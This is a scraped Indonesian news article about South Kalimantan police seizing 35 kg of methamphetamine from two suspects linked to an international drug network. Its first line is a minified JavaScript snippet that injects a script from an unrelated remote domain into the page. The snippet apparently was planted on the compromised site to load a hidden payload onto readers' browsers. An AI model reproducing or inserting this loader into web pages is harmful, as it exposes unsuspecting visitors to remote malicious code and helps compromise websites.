(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Kepolisian Daerah (Polda) Kalimantan Selatan menggagalkan peredaran narkotika jenis sabu dari jaringan mafia Narkoba internasional.
Dalam pengungkapan ini, Direktorat Resnarkoba Polda Kalsel menyita barang bukti sebanyak 74 paket sabu dengan berat 35 kilogram dari tangan dua tersangka jaringan sabu lintas negara.
Adalah MRS (26) warga Kelurahan Kelayan Dalam, Kecamatan Banjarmasin Selatan, Kota Banjarmasin dan MZ (33) warga jalan Melati Indah Simpang Limau, Kelurahan Sungai Lulut, Kecamatan Banjarmasin Timur, Kota Banjarmasin.
“Kedua tersangka ditangkap pada hari Selasa 23 Mei 2023 di Jalan Gatot Subroto Banjarmasin,” kata Kapolda Kalsel Irjen Pol Andi Rian saat konferensi pers di Mapolda Kalsel, Rabu (14/6/2023) pagi.
Baca juga: Sidang Korupsi Cuci Uang Mantan Bupati HST, Pembelian Dua Moge HD Diungkap
Dijelaskan Kapolda Kalsel, selain mengedarkan kedua tersangka juga memproduksi sabu sendiri di rumah yang dijadikan gudang sabu oleh pelaku dengan melakukan transformasi perubahan perilaku sosial untuk mengelabui masyarakat.
Selain itu, diungkapkan Irjen Pol Andi Rian, sabu yang diamankan dari tangan kedua tersangka merupakan jaringan internasional yang beroperasi di wilayah Kalsel.
Pihaknya saat ini juga masih melakukan penyelidikan untuk mengungkap lebih jauh sindikat peredaran barang haram tersebut, dan memastikan pihak-pihak mana yang terlibat perdagangan sabu.
“Dua tersangka yang kami amankan sedang dalam pemeriksaan intensif untuk mengungkap jaringan ini, kami akan bekerja sama dengan instansi terkait, baik di dalam maupun luar negeri,” ujar Irjen Pol Andi Rian.
Apresiasi diberikan Kapolda Kalsel kepada seluruh anggotanya dari Dit Resnarkoba yang berhasil mengungkap kasus ini. Serta seluruh masyarakat yang berpartisipasi aktif dalam memberikan informasi kepada polisi untuk membantu dalam pemberantasan narkoba.
Baca juga: Minta Pejabat Turun Lapangan, Pj Bupati: Jangan Komando dari Dalam Kamar
“Ini menunjukkan bahwa kepolisian tidak akan berhenti dalam upaya memberantas peredaran narkoba. Kami berharap masyarakat juga berperan aktif memberikan informasi kepada poliisi,” tutup Andi Rian
Pada Konferensi pers di aula Mapolda Kalsel juga dilakukan pemusnahan barang bukti sabu yang dilakukan oleh Gubernur Kalsel Sahbirin Noor, Kapolda Kalsel Irjen Andi Rian, Ketua DPRD Kalsel Supian HK, BNN Kalsel, dan pihak terkait lainnya.(Kanalkalimantan.com/rizki)
Reporter: rizki
Editor: bie
KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More
KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More
KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More
This website uses cookies.